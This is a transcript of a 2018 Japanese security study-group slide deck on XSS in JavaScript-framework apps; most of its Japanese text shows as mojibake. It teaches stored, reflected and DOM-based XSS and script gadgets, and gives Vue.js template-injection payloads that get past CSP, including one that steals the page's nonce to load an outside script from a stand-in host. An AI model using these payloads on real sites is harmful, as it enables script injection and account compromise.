Share
Embed
XSS in the era of *.js - JS ライブラリ時代の XSS (ゼロから始めるセキュリティ入門勉強会 #15)
ちょっとタイトルが言いすぎていて大反省です (適宜アップデートします, 仮)
Takashi Yoneuchi
April 23, 2018
Annual Pro sale · Save $30
Have presentations of your own?
Share with private links, password protection, and more control over your work.
Transcript
55 slides
-
<html> <head> <meta charset="utf-8"> <title>Vue.js Security Testing</title> <script src="vue.js" nonce="random"></
script> </head> <body> <div id="example"> <p>{{this. $el.ownerDocument.defaultView.alert(1)}}</p> </div> <script src="init.js" nonce="random2"></ script> </body> </html> XSS in the era of *.js JS ϥΠϒϥϦ࣌ͷ XSS Takashi Yoneuchi @lmt_swallow https://shift-js.info -
© 2018 shift-js.info All Rights Reserved. Outline ‣ Overview: XSS
‣ XSS ͱͲΜͳͷ͔ɾͲΜͳྨ͕͋Δ͔ΛֶͿ ‣ What is DOM Based XSS? ‣ ಛʹ DbXSS ʹ͍ͭͯɺΑ͋͘Δ۩ମྫ͔ΒݪཧΛֶͿ ‣ Script gadgets: what happens with *.js ? ‣ Script gadgets ͷ (+ ࠷ۙͷ *.js ͨͪͷొʹΑΔมԽ) ‣ Example: Let's defeat CSP :-) ‣ Vue.js Λ template compiler ͋ΓͰ͏ͳΒجຊ unsafe-inline ͳ ‣ Conclusion -
© 2018 shift-js.info All Rights Reserved. Notes ‣ ಛʹٕज़తͳ༰ʹؔͯ͠ɺݕূɾϨϏϡʔؤுͬ ͍ͯͯ͠·͕͢ɺޡΓؚ͕·ΕΔ߹͕͋Γ·͢ɻ
(ൃݟͨ͠Βʹ࿈བྷΛ͍ͩ͘͞!) ‣ ຊࢿྉޙΦϯϥΠϯͰެ։͞ΕΔ༧ఆɻ ‣ ࠓճͷൃදͰͷҙͷൃݴॴଐ৫Λද͢Δ ͷͰ͋Γ·ͤΜ&ࢲݟʹج͖ͮ·͢ɻ -
© 2018 shift-js.info All Rights Reserved. XSS (Cross-site Scripting) ΫϩεαΠτεΫϦϓςΟϯά
‣ "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites." (OWASP, https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) ) ‣ ͬ͘͟Γ͍͏ͱ͜͏ ‣ ߈ܸऀ͕ Web αΠτʹεΫϦϓτΛೖ ‣ ඪతͷϒϥβ্ͰͦΕ͕࣮ߦ͞ΕΔ -
© 2018 shift-js.info All Rights Reserved. XSS (Cross-site Scripting) ΫϩεαΠτεΫϦϓςΟϯά
- ྫ <h1> ͜Μʹͪ, ͭΊ ͞Μ! </h1> -
© 2018 shift-js.info All Rights Reserved. XSS (Cross-site Scripting) ΫϩεαΠτεΫϦϓςΟϯά
- ྫ <h1> ͜Μʹͪ, <script>alert(1)</script> ͞Μ! </h1> ‣ ೖྗ͕ HTML ͷҰ෦ͱղऍ͞Εɺ<script> ͕࣮ߦ͞Εͯ͠·͏ -
© 2018 shift-js.info All Rights Reserved. Three kinds of XSS
3 छͷ XSS ‣ Stored XSS - ੵܕ XSS (ޮՌ͕࣋ଓ͢Δ) ‣ DB ʹอଘ͞ΕͨϢʔβʔೖྗ͕ग़ྗ͞ΕΔࡍͷ XSS ‣ Reflected XSS - ࣹܕ XSS: (ޮՌ࣋ଓ͠ͳ͍) ‣ ϢʔβʔೖྗΛ͙ͦ͢ͷͰग़ྗ͢Δࡍͷ XSS ‣ DOM Based XSS - ࠷ۙͷྲྀߦΓ <?php echo 'hello, '. $stored_value; ?> <?php echo 'hello, '. $_GET['name']; ?> -
© 2018 shift-js.info All Rights Reserved. 1. Stored XSS ੵܕ
XSS 1. ѱҙͷ͋ΔεΫϦϓτΛೖྗͱͯ͠ೖ (e.g. ϒϩάͷίϝϯτͱͯ͠ <script>alert(1)</script> Λૹ৴) 2. อଘ 4. DB ͔ΒͷಡΈग़͠ 3. αΠτʹΞΫηε 5. εΫϦϓτೖࡁίϯςϯπͷฦ٫ e.g. <div id="comment"><script>alert(1)</script></div> -
© 2018 shift-js.info All Rights Reserved. 2. Reflected XSS ࣹܕ
XSS 1. ѱҙͷ͋ΔεΫϦϓτؚ͕·ΕΔϦΫΤετΛ ඪత͕ൃߦ͢ΔΑ͏༠ಋ (e.g. http://example.com/?search=<script>alert(1)</script>) 2. ඪత͕༠ಋ͞ΕͯϦΫΤετΛൃߦ 3. εΫϦϓτೖࡁίϯςϯπͷฦ٫ e.g. <h1> <script>alert(1)</script> Ͱͷݕࡧ݁Ռ </h1> -
© 2018 shift-js.info All Rights Reserved. Example: Stored & Reflected
XSS ੵܕ XSS ͱࣹܕ XSSͷྫ ‣ αʔόʔαΠυͰϢʔβʔೖྗΛͬͯ HTML Λߏ ͢ΔࡍͷΤεέʔϓ࿙Ε͕ݪҼ ‣ ରࡦ ‣ հͳέʔε͕ͨ͘͞Μ͋ͬͯେม ‣ ྫ͑ htmlspecialchars() ͷΑ͏ͳΤεέʔϓΛ௨͢ <?php echo 'hello, '. $potentially_malicious_value ; ?> -
© 2018 shift-js.info All Rights Reserved. 3. DOM Based XSS
1. ѱҙͷ͋ΔεΫϦϓτؚ͕·ΕΔϦΫΤετΛ ඪత͕ൃߦ͢ΔΑ͏༠ಋ (e.g. http://example.com/#query=<script>alert(1)</script>) 2. ඪత͕༠ಋ͞ΕͯϦΫΤετΛൃߦ 3. ਖ਼نίϯςϯπͷฦ٫ 4. DOM ૢ࡞ʹΑΓ XSS ൃՐ <script>document.getElementById("contents").innerHTML=location.hash.substring(1);</script> -
© 2018 shift-js.info All Rights Reserved. <section> DOM Document Object
Model ‣ HTML ( XML) ͷߏʹ ΞΫηε͢ΔͨΊͷ ‣ จষߏΛ Tree ܗͷϞσ ϧͱͯ࣋ͭ͠ ‣ WHATWG ʹΑΔఆٛ https://dom.spec.whatwg.org <body> <header> <main> <h2> <section> <p> <h2> <p> -
© 2018 shift-js.info All Rights Reserved. What is DOM Based
XSS? DOM Based XSS ͱ ‣ "DOM Λ௨ͨ͡ HTML ૢ࡞ͷ݁Ռͱͯ͠ɺҙਤ͠ͳ͍ε ΫϦϓτ͕࣮ߦ͞ΕΔ͜ͱɺͦΕΛڐ͢੬ऑੑΛࢦ͠ ͯɺDOM Based XSS ͱ͍͏ɻ" (IPA ςΫχΧϧΥονʮDOM Based XSSʯʹؔ͢ΔϨ ϙʔτ https://www.ipa.go.jp/files/000024729.pdf) ‣ Stored XSS Reflected XSS ͱͷҧ͍ ‣ αʔόʔ͋͘·Ͱ "ਖ਼نίϯςϯπ" Λฦ͢ ‣ αʔόʔΛ߈ܸεΫϦϓτ͕ܦ༝͠ͳ͍Մೳੑ͕͋Δ ‣ e.g. http://example.com/#<script>alert(1)</script> (ϑϥάϝϯτࣝผࢠͷར༻) -
© 2018 shift-js.info All Rights Reserved. Common example DbXSS ͷΑ͋͘Δྫ
‣ example.com ্Ͱ্ه JS ͕࣮ߦ͞ΕΔ߹ɺ ྫ͑ඪతΛ࣍ͷΑ͏ͳ URL ʹ༠ಋ͢Δͱʁ http://example.com/#<img src=x%20onerror%3Dalert(1)> <script> p = document.getElementById("username"); p.innerHTML = "<p>you are " + location.hash.substring(1) + "</p>"; </script> -
© 2018 shift-js.info All Rights Reserved. Common example DbXSS ͷΑ͋͘Δྫ
‣ ͜ͷ <script> λάࣗମແ (ѱ͍͜ͱͯ͠ͳ͍) ‣ location.hash ͷ͕લท <img ...> ͰɺͦΕ͚ͩͳΒແ ͔ͭ non-executable ‣ innerHTML ʹલท <img ... > ͷΑ͏ͳ location.hash ͷ͕ೖΔ ͱ executable ʹͳΔ <script> p = document.getElementById("username"); p.innerHTML = "<p>you are " + location.hash.substring(1) + "</p>"; </script> -
© 2018 shift-js.info All Rights Reserved. Common example DbXSS ͷΑ͋͘Δྫ
‣ ͜ͷ <script> λάࣗମແ (ѱ͍͜ͱͯ͠ͳ͍) ‣ location.hash ͷ͕લท <img ...> ͰɺͦΕ͚ͩͳΒແ ͔ͭ non-executable ‣ innerHTML ʹલท <img ... > ͷΑ͏ͳ location.hash ͷ͕ೖΔ ͱ executable ʹͳΔ <script> p = document.getElementById("username"); p.innerHTML = "<p>you are " + location.hash.substring(1) + "</p>"; </script> 4PVSDFͱݺͿ 4JOLͱݺͿ -
© 2018 shift-js.info All Rights Reserved. Sources & Sinks
ιʔεͱγϯΫ ‣ Source - ߈ܸऀ͕ίϯτϩʔϧͰ͖Δ e.g. location.hash, location.search, location.href, ... e.g. document.cookie, document.referrer, ... e.g. window.name, ... ‣ Sink - JS ੜ & ࣮ߦʹΘΕ͏ΔՕॴ e.g. location.href (redirect) e.g. HTMLElement.innerHTML e.g. document.write e.g. eval, setTimeout, setInterval, Function -
© 2018 shift-js.info All Rights Reserved. What makes the matters
worse DbXSS ͷԿ͕ͳͷ͔ ‣ DOM Based XSS ਖ਼نίϯςϯπ্Ͱى͖Δ ‣ DbXSS Ҏ֎ͷ 2छ: ೖ͞ΕͨεΫϦϓτ͕ executable ͳܗ (<script>, onerror=... ) Ͱฦͬͯ͘Δ(Ԛછࡁ) ‣ DbXSS: non-executable ͳεΫϦϓτ͕ฦ͖ͬͯͯ(Ԛછ લ)ɺϒϥβαΠυͰͦΕ͕ executable ʹͳΔ ‣ αʔόʔαΠυʹϩά͕Βͳ͍߹͋Δ ‣ ඃͷѲ͕͍͠ (e.g. location.hash ͷೖϦΫΤετதʹؚ·Εͳ͍) ‣ XSS filter ͳͲͷϒϥβޚػೳͷόΠύεʹ͑Δ [4] -
© 2018 shift-js.info All Rights Reserved. When the text can
be turned into an evil DbXSS ͷྲྀΕ ϒϥβ http://example.com/#<img src=x%20onerror%3Dalert(1)> ※ ϒϥβ͕ड͚औΔॠؒ ͋͘·Ͱແͳίϯςϯπ source source sink DOM ૢ࡞ -
© 2018 shift-js.info All Rights Reserved. Increasing & diversifying threats
૿Ճɾଟ༷Խ͢Δ Db XSS ͷڴҖ ‣ DOM ૢ࡞ͳ͠Ͱ࡞ΒΕΔ Web αΠτগͳ͍ (or ͳ͍) ‣ JS ͕ංେԽ͢Ε͢Δ΄Ͳݟ͚ͭʹ͍͘ ‣ ͦΜͳத XSS ϒϥβ্͚ͩͷͰͳ͍ ‣ e.g. Electron ‣ Web ։ൃͷٕज़Ͱ Desktop Apps Λ࡞ΕΔ ‣ XSS ͷڴҖ͕ΑΓԼͷϨΠϠʹۙͮ͘ -
© 2018 shift-js.info All Rights Reserved. Overview: XSS ͜͜·Ͱͷ·ͱΊ &
ֶ࣍Ϳ͖ ‣ XSS (Cross-site Scripting) େ͖͚ͯ͘ 3 छྨ ‣ ( Stored | Reflected | DOM Based ) XSS ‣ ҰॹʹԞਂ͍ XSS ͷੈքΛ୳ࡧ͠·͠ΐ͏ ! ‣ จࣈίʔυͷऔѻʹىҼͨ͠ XSS [5] ‣ IE ͷ Content Sniffing ʹىҼͨ͠ XSS [6] ‣ ͦͷଞ໘ന͍ࢁɻ -
© 2018 shift-js.info All Rights Reserved. What did *.js make?
*.js ͕ͨΒͨ͠ͷ ‣ jQuery *.js (e.g. Angular.js, Vue.js, ...) ͷొͰ Web ։ൃܶతʹ (ྑ͍ํʹ?) มΘͬͨ ‣ MVC (MVW) ‣ getElementBy* ࠈ͔Βͷղ์ ‣ ৽ͨͳܗͷ XSS (ݴ͍͔͗͢…) ͕ొ͖ͯͨ͠ ‣ data-* ng-* (Angular.js) , v-* (Vue.js) ͳͲͷ attributes Λ ར༻ͨ͠ XSS -
© 2018 shift-js.info All Rights Reserved. Script gadgets - example
Script gadget ͱԿ͔ - ۩ମྫΛݟͯΈΔ ‣ 2017 ʹ @slekies Β͕ൃද ‣ "By injecting benign HTML markup matching DOM selectors used in the application we are able to trigger the execution of specific pieces of legitimate application code - script gadgets." [2] <script> p = document.getElementById("username"); p.innerHTML = "<p>you are " + location.hash.substring(1) + "</p>"; </script> ͜ͷεΫϦϓτஅยΛ gadget ͱݺͿ -
© 2018 shift-js.info All Rights Reserved. What makes the matters
worse DbXSS ͷԿ͕ͳͷ͔ ‣ DOM Based XSS ਖ਼نίϯςϯπ্Ͱى͖Δ ‣ DbXSS Ҏ֎ͷ 2छ: ೖ͞ΕͨεΫϦϓτ͕ executable ͳܗ (<script>, onerror=... ) Ͱฦͬͯ͘Δ(Ԛછࡁ) ‣ DbXSS: non-executable ͳεΫϦϓτ͕ฦ͖ͬͯͯ (Ԛછલ)ɺϒϥβαΠυͰͦΕ͕ executable ʹͳΔ ‣ αʔόʔαΠυʹϩά͕Βͳ͍߹͋Δ → ඃͷ Ѳ͕͍͠ (e.g. location.hash ͷೖϦΫΤετதʹؚ·Εͳ͍) ͜͜ΛҾ͖ى͜͢ͷ͕ Script gadget -
© 2018 shift-js.info All Rights Reserved. When the text can
be turned into an evil Script gadgets ͷߟ͑ํ ϒϥβ p.innerHTML = "<p>" + location.hash.substring(1) + "</p>"; Script gadgets http://example.com/#<img src=x%20onerror%3Dalert(1)> ※ ϒϥβ͕ड͚औΔॠؒ ͋͘·Ͱແͳίϯςϯπ source source sink -
© 2018 shift-js.info All Rights Reserved. Script gadgets - details
‣ Script gadgets ແͳ HTML λάଐੑΛ࣮ߦՄ ೳͳ JS ʹมɾ࣮ߦͯ͘͠ΕΔίʔυஅยͷ͜ͱɻ ‣ e.g. ࣍ͷΑ͏ͳมΛߦ͏ JS (data-text ຊདྷແ!) ‣ *.js ͨͪͷதʹ͜ͷྫͷΑ͏ͳૢ࡞Λ͢Δͷ͕͍Δ <p data-text="<script>alert(1)</script>"></p> <p><script>alert(1)</script></p> -
© 2018 shift-js.info All Rights Reserved. XSS with script gadgets
‣ ༷ʑͳޚػߏ͕ճආ͞Ε͏Δ (ύλʔϯແ!) ‣ XSS filters, WAF, HTML Sanitizer, CSP, ... ‣ ͦΕΒ͍࣮͠ྫ ‣ Bootstrap3 ͷ data-target Λͬͨ XSS (2016) (https://github.com/twbs/bootstrap/issues/20184) ‣ H5SC Minichallenge 3 (CSP ڥԼͰͷ XSS) (2015) (https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,- it%27s-CSP!%22) -
© 2018 shift-js.info All Rights Reserved. What makes the matters
worse *.js ͷԿ͕ͳͷ͔ ‣ ߈ܸख๏ & Script gadgets ͷඈ༂త૿Ճ ‣ CSP (Content-Security-Policy) bypass ʹར༻Մೳ ‣ strict-dynamic ڥԼͰ DOM πϦʔʹૠೖ͞Εͨ script λάͷ࣮ߦ͕ڐՄ͞ΕΔ ‣ notevil ͷΑ͏ͳ eval ସΛ͍ͬͯΔͷ (e.g. Vue.js ͷ CSP Ϗϧυ) Ͱ strict-dynamic ͳ͠ & unsafe-* ͳ͠Ͱҙ ίʔυ࣮ߦ͕Մೳ ‣ ʮCSP ͬͯΔ͔Β XSS ා͘ͳ͍ʂʯͳΜ͍ͯ͑ͳ͍ɻ -
© 2018 shift-js.info All Rights Reserved. What is Vue.js ?
Vue.js - The Progressive JavaScript Framework ‣ "Vue ϢʔβʔΠϯλʔϑΣΠεΛߏங͢ΔͨΊͷϓϩά ϨογϒϑϨʔϜϫʔΫͰ͢ɻ" ( https://jp.vuejs.org/v2/guide/ ) ‣ σʔλόΠϯσΟϯά (JS มͷมߋ͕ UI ʹଈ࣌ө͞ΕΔ) ͳͲศར <script> new Vue({ el: "#content", data: { message: "Hello" } }); </script> <div id="content"><p> {{ message }} </p></div> -
© 2018 shift-js.info All Rights Reserved. Are you safe from
XSS with Vue.js? Vue.js ʹ͓͚Δ XSS ͷݪҼ ‣ ϨϯμϦϯά͕ى͜ΔՕॴͰྨͯ͠ΈΔ 1. αʔόʔαΠυϨϯμϦϯάͰͷෆඋ (Α͋͘Δ XSS) 2. ΫϥΠΞϯταΠυϨϯμϦϯάͰͷෆඋ ‣ v-html, {{{ }}} ʹΑΔ HTML ͷల։ʹΑΔ XSS ‣ ຊ࣭: αʔόʔଆ͔Β (ਖ਼نίϯςϯπҎ֎ͷ) HTML ͕ಈతʹ߱ͬ ͯ͘Δ(≒ αʔόʔαΠυϨϯμϦϯά) + ͦΕ͕ඳը͞ΕΔ (ΫϥΠΞϯταΠυϨϯμϦϯά) ͷࠞ༻͕ݪҼ ‣ ศ্ٓɺΤεέʔϓͳ͠ͰσʔλΛฦͯ͠͠·͏߹ɺ࣮࣭αʔ όʔαΠυϨϯμϦϯάͱଊ͍͑ͯ·͢ -
© 2018 shift-js.info All Rights Reserved. How to use Vue.js
with CSP ? CSP ڥԼͰͷ Vue.js ͷ͍ํ ‣ ར༻Մೳͳ Vue.js ͱ CSP ͷΈ߹ΘͤҎԼ ‣ CSP: (host|schema)-source & unsafe-eval Vue.js: full build ͷར༻ (template compiler ͋Γ) ‣ CSP: (hash|nonce)-source & unsafe-eval (& strict-dynamic) Vue.js: full build ͷར༻ (template compiler ͋Γ) ‣ CSP: (specify as you like) Vue.js: CSP build ͷར༻ (template compiler ͋Γ) ‣ CSP: (specify as you like) Vue.js: runtime-only build ͷར༻ (template compiler ͳ͠) ※ full build: Vue.js v2.x ܥ, CSP build: v.1.x ܥੜͷ CSP branch Λࢦ͢ -
© 2018 shift-js.info All Rights Reserved. Situation Ҏ߱ͷٞʹ͍ͭͯͷԾఆ ‣ Ҏ߱ɺҎԼͷঢ়گΛԾఆ͠·͢
(݁ߏݱ࣮ʹ͋Γ͏Δγνϡ)ɻ ‣ Vue.js ͷ template compiler Λ͍͍ͨɻ ‣ XSS ͕ଘࡏ͠ɺҙλάΛૠೖͰ͖Δɻ ‣ CSP Vue.js ͕͑ΔܗͰదٓఆΊΒΕ͍ͯΔ ‣ ͨͩ͠ৗʹ unsafe-inline ઃఆ͠ͳ͍ɻ ‣ CSP ʹΑΓɺ(ͺͬͱݟ) XSS ͷࣗ༝͍ʁ ‣ ΠϯϥΠϯεΫϦϓτ࣮ߦͰ͖ͳͦ͞͏(∵ unsafe-inline ͳ͠) -
© 2018 shift-js.info All Rights Reserved. How to use Vue.js
with CSP ? CSP ڥԼͰͷ Vue.js ͷ͍ํ ‣ ར༻Մೳͳ Vue.js ͱ CSP ͷΈ߹ΘͤҎԼ ‣ CSP: (host|schema)-source & unsafe-eval Vue.js: full build ͷར༻ (template compiler ͋Γ) ‣ CSP: (hash|nonce)-source & unsafe-eval (& strict-dynamic) Vue.js: full build ͷར༻ (template compiler ͋Γ) ‣ CSP: (specify as you like) Vue.js: CSP build ͷར༻ (template compiler ͋Γ) ‣ CSP: (specify as you like) Vue.js: runtime-only build ͷར༻ (template compiler ͳ͠) ͜ΕΒͭͷέʔεΛߟ͑Δ -
© 2018 shift-js.info All Rights Reserved. IDEA 1: inline script
execution without unsafe-inline ‣ Vue.js Ͱ template compiler Λ ͏ʹ eval ૬ͷػೳ͕ඞཁ (CSP build Ͱ full build Ͱ) ‣ ͜Εʹ͔ͬΕεΫϦϓτͷ ΠϯϥΠϯ࣮ߦ͕unsafe-inline ແ͠ͰͰ͖ΔͷͰʁ -
© 2018 shift-js.info All Rights Reserved. Example: XSS with Vue.js
(* build) @error Ͱͷҙ JS ࣮ߦ ‣ v-on த $event.target.ownerDocument.defaultView CSP build Ͱ full build Ͱ window ʹ͍͠ ‣ ͦ͜Ͱ࣍ͷλάΛૠೖ͢Δ͜ͱΛߟ͑Δ ‣ @error ෦࣍ͷܗʹม͞ΕΔ scope.$event.target.ownerDocument.defaultView.alert(1) ‣ ͜Ε window.alert(1) ͱՁͳͷͰ alert ͕ग़Δɻ ‣ unsafe-inline ͳ͠ͰΠϯϥΠϯ࣮ߦ͕Մೳ <img src=x @error="$event.target.ownerDocument.defaultView.alert(1)"> -
© 2018 shift-js.info All Rights Reserved. Example: XSS with Vue.js
(* build) v-if {{ }} Ͱͷҙ JS ࣮ߦ <img v-if="1)+this. $el.ownerDocument.defaultView.alert(1)+(1"> ‣ full build + unsafe-eval Ͱ͜ΕͰ alert . <img v-if="this. $el.ownerDocument.defaultView.alert(1)"> ‣ CSP build Ͱ͜Ε͚ͩͰ alert . ‣ ্هͲͪΒͷ build & policy Ͱ͜ΕͰ alert. <p>{{this. $el.ownerDocument.defaultView.alert(1}}</p> -
© 2018 shift-js.info All Rights Reserved. Example: XSS with Vue.js
(* build) ·ͱΊ: Vue.js Λͬͨ XSS ͷେ·͔ͳྨ (1) ‣ {{ }} (mustache ͱݺͿ) Λͬͨ JS ࣮ߦ ‣ <p>{{ this.$el.ownerDocument.defaultView.alert(1) }}</p> ‣ client-side ͳ template injection ͷΑ͏ͳײ͡ ‣ ಛ༗ͷ directive Λ༻͍ͨ JS ࣮ߦ ‣ v-on directive (@ Ͱ༻Մೳ) ‣ e.g. @click="$event.target.ownerDocument.defaultView.alert(1)" ‣ v-show, v-if, v-for, v-bind directive ‣ v-on ಉ༷༩͑ͨจࣈྻ͕ JS ͱͯ͠ධՁ͞ΕΔ -
© 2018 shift-js.info All Rights Reserved. Example: XSS with Vue.js
(* build) ·ͱΊ: Vue.js Λͬͨ XSS ͷେ·͔ͳྨ (2) ‣ ݩདྷͷ DOM Based XSS ʹ͍ۙܗͷ XSS ‣ source: Vue Πϯελϯεͷ data, computed, ... ‣ sink: v-html {{{ }}} ʹΑΔల։ (ޙऀ 1 ܥͷΈ) <script> new Vue({ el: "#content", data: { raw: "<s>deleted</s>" } }); </script> <div id="content"><span v-html="raw"></span></div> -
© 2018 shift-js.info All Rights Reserved. IDEA 2: ONE MORE
THING... ‣ εΫϦϓτͷΠϯϥΠϯ࣮ߦ͕ unsafe-inline ແ͠ͰͰ͖Δͱ ͍͏͜ͱͰʁ → Ͱ͖ͨ! ‣ ͨͩෳจ࣮ߦείʔϓʹ੍ ͕͋ͬͨΓͯ͠໘ͩ͠ɺͬ ͱࣗ༝ʹ XSS ͍ͨ͠ʂ -
© 2018 shift-js.info All Rights Reserved. Let's be free from
CSP (full build) full build + unsafe-eval Ͱͷ ҙ source ͷ full bypass ‣ full build + unsafe-eval Ͱ͋Εɺ੍͔Βͷ࣍ͷ Α͏ͳग़͕Մೳ (ͱͬͯ؆୯)ɻ <img v-if="1)])+this. $el.ownerDocument.defaultView.eval('..');}//"> ‣ Vue.$mount ͔ΒݺΕΔ compileToFunctions ؔͷಈ͖ΛಡΜͰΈΔ͜ͱΛ͓͢͢Ί͠·͢ -
© 2018 shift-js.info All Rights Reserved. Let's be free from
CSP (CSP build) CSP build ͷ nonce-sources strict-dynamic ͷ full bypass ‣ nonce-source ʹΑΔࢦఆ࣍ͷΑ͏ʹ bypass Մೳɻ ( script-src 'nonce-random' 'unsafe-eval'; ͷΑ͏ͳࢦఆͷ߹ ) <div id="app"><img v-show=" (document=this.$el.ownerDocument) &&(a=document.createElement('script')) &&(a.nonce=document.currentScript.nonce) &&(a.src='http://example.com/evil.js') &&(document.body.appendChild(a))"></div> ‣ strict-dynamic bypass ্هͷιʔε͔Β a.nonce ͷߦΛআ ͢ΕΑ͍(ͪ͜Βͷํ؆୯)ɻ -
© 2018 shift-js.info All Rights Reserved. Bypassability of CSP with
Vue.js unsafe-inline ະࢦఆͷ߹ͷྨ CVJME XIJUFMJTU OPODF OPODF TE GVMM VF GVMMZ CZQBTTBCMF GVMMZ CZQBTTBCMF GVMMZ CZQBTTBCMF $41 QBSUJBMMZ CZQBTTBCMF GVMMZCZQBTTBCMF GVMMZ CZQBTTBCMF SVOUJNFPOMZ ‣ template compiler Λ͏߹େମ bypassable ( ue = unsafe-eval, sd = strict-dynamic ) -
© 2018 shift-js.info All Rights Reserved. Example: XSS with Vue.js
(CSP build) ཧ: CSP ڥԼͰ Vue.js Λ͏ࡍͷ XSS ʹ͍ͭͯ ‣ ͋Δϖʔδ͕࣍ͷ݅Λຬͨ࣌͢ɺCSP ڥԼ Ͱɺ࣮࣭ unsafe-inline ঢ়ଶʹͳͬͯ͠·͏ɻ ‣ Vue.js Λ͍ͬͯΔ ‣ ͦͷ template compiler Λ͍ͬͯΔ ‣ CSP ͷઃఆʹΑͬͯҙ <script> ͷϩʔυૠ ೖʹͭͳ͕ͬͯ͠·͏ (e.g. nonce, hash ܥࢦఆ) -
© 2018 shift-js.info All Rights Reserved. Are you safe from
XSS with Vue.js? Vue.js ʹ͓͚Δ XSS ͷݪҼ ‣ ϨϯμϦϯά͕ى͜ΔՕॴͰྨͯ͠ΈΔɻ 1. αʔόʔαΠυϨϯμϦϯάͰͷෆඋ (Α͋͘Δ XSS) 2. ΫϥΠΞϯταΠυϨϯμϦϯάͰͷෆඋ ‣ v-html, {{{ }}} ʹΑΔ HTML ͷల։ʹΑΔ XSS ‣ ຊ࣭: αʔόʔଆ͔Β (ਖ਼نίϯςϯπҎ֎ͷ) HTML ͕ಈతʹ߱ͬͯ ͘Δ(≒ αʔόʔαΠυϨϯμϦϯά) + ͦΕ͕ඳը͞ΕΔ (Ϋ ϥΠΞϯταΠυϨϯμϦϯά) ͷࠞ༻͕ݪҼ ‣ ศ্ٓɺΤεέʔϓͳ͠ͰσʔλΛฦͯ͠͠·͏߹ɺ ࣮࣭αʔόʔαΠυϨϯμϦϯάͱଊ͍͑ͯ·͢ -
© 2018 shift-js.info All Rights Reserved. How to use Vue.js
safely Vue.js Λฏʹ͏ʹ ‣ େલఏ: αʔόʔαΠυϨϯμϦϯάͱΫϥΠΞϯ ταΠυϨϯμϦϯάΛࠞ༻͠ͳ͍ (Vue.js ʹݶΒͣ) ‣ Vue.js Λ͏ͳΒɺαʔόʔαΠυϨϯμϦϯάΛ ݶΓͳ͘ݮΒ͢ (͍͚͠ΕͲ…) ‣ Template compiler ΛۃྗΘͳ͍ɻtemplate: Ͱ ͳ͘ɺrender: Λ͓͏ɻ ‣ ϓϦίϯύΠϧ͢Δ -
© 2018 shift-js.info All Rights Reserved. ·ͱΊ ‣ XSS (Cross-site
Scripting) େ͖͚ͯ͘ 3 छྨ ‣ ( Stored | Reflected | DOM Based ) XSS ‣ JS ϥΠϒϥϦ͕ essential ʹͳ͖ͬͯͨ͜ͱͰɺXSS ͷόϦΤʔγϣϯ͕͕͖ͬͯͨ ‣ JS ϥΠϒϥϦ༻࣌ʹ͜ͷ͜ͱΛ಄ʹཹΊΑ͏ ‣ CSP bypass ʹΘΕΔ߹͋Δ -
Thank you for listening :-) Any Questions? Takashi Yoneuchi (
@lmt_swallow ) https://shift-js.info -
© 2018 shift-js.info All Rights Reserved. References (1) XSS࠶ೖ (@ockeghem
ઌੜ) ʰಙؙຊʱͷಙؙઌੜ͕ XSS ͱԿ͔ɺͲ͏ͳͷ͔Λ·ͱΊͨࢿྉɻ ˠ https://www.slideshare.net/ockeghem/xssreintroduction (2) S. Lekies, K. Kotowicz, S. Groß, E. A. V. Nava, and M. Johns, “Code-Reuse Attacks for the Web : Breaking Cross-Site Scripting Mitigations via Script Gadgets,” ACM SIGSAC Conf. Comput. Commun. Secur., pp. 1709–1723, 2017. (3) Breaking XSS mitigations via Script Gadgets https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM- Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf POC ͨͪ https://github.com/google/security-research-pocs/tree/master/script-gadgets -
© 2018 shift-js.info All Rights Reserved. References (4) Browser's XSS
Filter Bypass Cheat Sheet https://github.com/masatokinugawa/filterbypass/wiki/Browser%27s-XSS-Filter-Bypass-Cheat- Sheet (5) UTF-7ʹΑΔΫϩεαΠτεΫϦϓςΟϯά߈ܸ http://gihyo.jp/admin/serial/01/charcode/0001 (6)ʦແࢹͰ͖ͳ͍ʧIEͷContent-Typeແࢹ http://www.atmarkit.co.jp/ait/articles/0903/30/news118.html (7) Vue.js: Copyright (c) 2013-present, Yuxi (Evan) You Released under the MIT license https://raw.githubusercontent.com/vuejs/vue/dev/LICENSE